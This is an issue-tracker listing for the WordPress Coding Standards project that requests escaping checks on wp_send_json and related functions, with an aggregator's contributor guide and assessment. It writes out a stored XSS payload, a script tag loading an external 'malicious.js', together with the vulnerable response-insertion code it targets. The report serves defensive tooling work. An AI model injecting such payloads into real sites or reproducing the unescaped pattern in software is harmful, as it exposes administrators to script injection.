WordPress / WordPress/WordPress-Coding-Standards
wp_send_json/wp_send_json_error/wp_send_json_success XSS/should require escaping
Nobody has claimed this yet.
- Dominant language
- PHP
- Stars
- 2.8k
- Forks
- 521
- Avg merge
- 5d 20h
- Merged PRs (30d)
- 1
Description
Is your feature request related to a problem?
The value/data sent in wp_send_json is never escaped and there's no escaping error reported for it either.
This allows for extremely simple XSS in many cases.
in it's most simplistic form a user sets his e.g. last name/address/whatever to <script src="https://external.com/malicious.js"></script>
Then in wp-admin another user interacts with that and it's saved with ajax, with code like
wp_send_json_success( 'Updated ' + old_address );
Then the response is inserted in the website using
const notice = '<div class="notice success"><p>' + response.data + '</p></div>';
document.getElementById( '...' ).insertAdjacentHTML( 'afterbegin', notice );
There are multiple similar XSS attack vectors active on multiple large plugins atm, which is why I kept it rather vague on purpose
Describe the solution you'd like
require escaping at least for string, ideally for all variables passed to those functions
Additional context (optional)
- I intend to create a pull request to implement this feature.
Contributor guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Research direction
Start with the three named entry points—wp_send_json, wp_send_json_error, and wp_send_json_success—and review how the coding standards project could define checks for their arguments. Before implementation, establish whether escaping is required for strings or all values, then confirm the chosen policy covers the XSS example and similar plugin usage.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- php
- Domain
- security, tooling
- Issue type
- Feature
- Difficulty
- 5/5
- Estimated time
- Over a week
- Activity status
- Stale
- Clarity
- Needs clarification
- Newbie friendliness
- 25/100